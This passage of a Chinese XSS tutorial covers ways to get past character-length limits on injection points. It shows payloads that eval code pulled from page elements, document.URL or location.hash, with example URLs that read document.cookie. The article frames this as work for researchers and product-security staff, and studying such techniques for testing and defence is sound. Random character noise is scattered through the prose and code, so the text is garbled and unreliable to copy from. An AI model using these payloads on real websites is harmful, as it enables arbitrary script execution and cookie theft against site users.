. Y0 G7 G7 X" y1 t2 S. F7 {5 ]$ z6 `[目录] - o5 M. y( f5 q( \. ^- y) U& J' E; U- P% e! X7 Q* \7 F( V
1. 综述 4 Y; e7 u, k+ u# U. {) f" P3 O# `2. 突破方法 A' o# V& D6 g* E$ Z% @
2.1 利用HTML上下文中其他可以控制的数据 * x8 F% C; W3 f% @ 2.2 利用URL中的数据 1 {, L+ P" V5 J& |2 a 2.3 JS上下文的利用8 C3 `3 R6 J8 c' _* C, l
2.4 利用浏览器特性在跨域的页面之间传递数据# B7 a" o, e* S$ f' t' ^/ y
2.4.1 document.referrer ( n) V0 m; D$ _) k- Z" o 2.4.2 剪切板clipboardData . o+ c( a/ ~: T. y: \1 A% H7 E 2.4.3 窗口名window.name5 h. T! l, [8 _% f9 x3 i% L8 z# V
2.5 以上的方式结合使用3 U* [8 c8 ^) u" X* N
3. 后记 $ {* E; G3 R9 h$ N4. 参考 3 I; C+ Z$ n& w, W; O- D# g" l 3 b5 f5 h9 _3 y/ T7 w; k$ p$ S6 X/ h
一、综述7 ]9 K: H9 W2 L/ f
$ f1 \; U7 R, s Y
有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主 , B1 b5 U. m a, d* o& d6 F& S( Z要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执 6 Z8 @9 M; x/ w; V2 A! t8 B1 ]行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全 S3 }0 g5 J, l/ w1 }. f
人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些 $ H! E1 ~7 R) x( V- ^. Y) Y极端情况下的XSS漏洞。 . Z$ `! ?! s! D+ M& }5 T, J ) ?4 u6 G5 p: z8 V4 P" o9 J 突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数7 [- x6 R1 f: C+ K
据。# ]) R4 Z+ s$ ?- |& l0 p
& Z+ E3 t' r7 s0 P+ U, Z8 P& c) L2 G6 G$ N i% E, X
二、突破方法2 L' S% Y$ G. L7 T
1 z. F7 u5 m8 j9 |% U3 |
2.1 利用HTML上下文中其他可以控制的数据 ^' f+ L1 D- _* K% d! _$ H
( S- r0 {1 y# n4 E
如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数" d# `, U- }' T6 Y
据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限 9 H8 Z6 l! F: }/ u/ P制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:4 ?, `9 |3 s! \1 }- \8 [
& i. j/ _% F8 X2 w3 n+ m6 x" ]
--code-------------------------------------------------------------------------, \1 w3 r# t1 L# s v2 m
<div id="x">可控的安全的数据</div> " T) U& m0 _+ ^<limited_xss_point>alert(/xss/);</limited_xss_point>5 h5 ]& ~$ \, G+ B: O2 I+ H
------------------------------------------------------------------------------- & _9 L* ~0 X* r- K / n" F& u9 K' M2 G 由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape3 {3 r G \+ v. n0 E
编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据: 3 J2 p" |% G0 t1 Z , s& P9 @5 Q( n& x--code-------------------------------------------------------------------------0 ~7 v; g' a, I- B! f
<div id="x">alert%28document.cookie%29%3B</div>" ~+ _$ j% w( y0 D7 {% K$ N
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>) H. j( @4 T ]
------------------------------------------------------------------------------- 5 h4 S9 _$ w& P, Y$ R3 ~5 Y* J% W4 b& _9 J8 X8 ~% Y, ~
长度:28 + len(id)* e/ P1 c8 w2 T* v
# x3 f2 S9 p% C$ C
由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。 / q8 f' u" m+ |! ` 0 w& F! [; Q7 x/ t* A # Z0 R6 Q f6 X5 ^0 ]9 f/ Z2.2 利用URL中的数据, \1 \! Y( T0 y5 m7 ]% y5 p, @. C
( ^4 C1 _$ a& r4 F 如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可 ) a6 p. P9 v. C v, x控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过 2 y5 t$ j' i' T2 X% tdocument.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到 $ A' m3 G$ }" }: k3 F2 m5 A: X最后:) s P% t& B. V r
: D- j! m7 S( A& h% k F" c9 x--code------------------------------------------------------------------------- % n; w; M% k, hhttp://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)+ C( b+ r$ X, x) s6 t) {* T7 @
% k d7 V( V. {( g G
<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point> , H# Z4 l: V \; Z/ G2 O7 n-------------------------------------------------------------------------------& v1 f! D# F8 H8 L$ H& ?- e; X
5 S3 o# G3 n3 e3 ^0 W/ G" h长度:30 ! @/ ^1 g# e% ^( Y* h7 S# X" u9 [2 E' @$ @
--code-------------------------------------------------------------------------: U$ T) F% l9 u
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point> : z$ I, i* I. }7 T) Z-------------------------------------------------------------------------------* x. J# |0 S4 k$ l8 |
5 ~' z% o, f+ n. l- T$ K
长度:31. s) b+ I' _. r$ ^; b: E- t. [$ @5 u
% S% _7 X( ^ V2 L H, Z X
上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册) ^; v2 K0 s7 w! \; U! r; ?
的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个 & F) o8 E9 I8 ~1 A6 s字符: + s. _2 m7 W# f r6 ^1 f6 y0 A0 h+ o% ~3 n: W$ z3 `
--code-------------------------------------------------------------------------, s8 {# f# o% w) ]6 l/ i5 p
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>- j1 Q/ V( `2 e" X: p
------------------------------------------------------------------------------- ; n6 H3 i# A4 _8 } y) J% V+ u * A" {9 Y W* L4 [) `) ^" Y长度:292 D# L$ T, c9 Y. T g
& W# |1 r9 J; t% R/ i7 S$ _2 U--code-------------------------------------------------------------------------9 r1 Z Q$ ^& C6 O" y, Z
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>! H8 A) r5 u. ~. e$ |1 ?5 l
------------------------------------------------------------------------------- 9 N, J9 z+ B* \ $ X' w# U" I: h( E2 \+ ^长度:30 - U6 C" f" D& L# ?* v, n7 t* @- U! a* {& l2 e! e8 ^
那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现6 }; J. x; m- i* v
有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获" \# Y/ G, ?4 T4 w
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码: ) q) m2 {/ s7 g- `+ t i+ n ! d- s9 a( ^( s' r% V1 p--code------------------------------------------------------------------------- 8 A( ^! k. ?/ P5 shttp://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie) / Q5 T$ n3 f. P" c" P/ V* j4 n# q- r ; h! i: E7 W% q+ P( N7 A<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>8 V; g5 t/ x& ~1 p' o9 t
-------------------------------------------------------------------------------1 ?$ E. L& W$ c1 _. _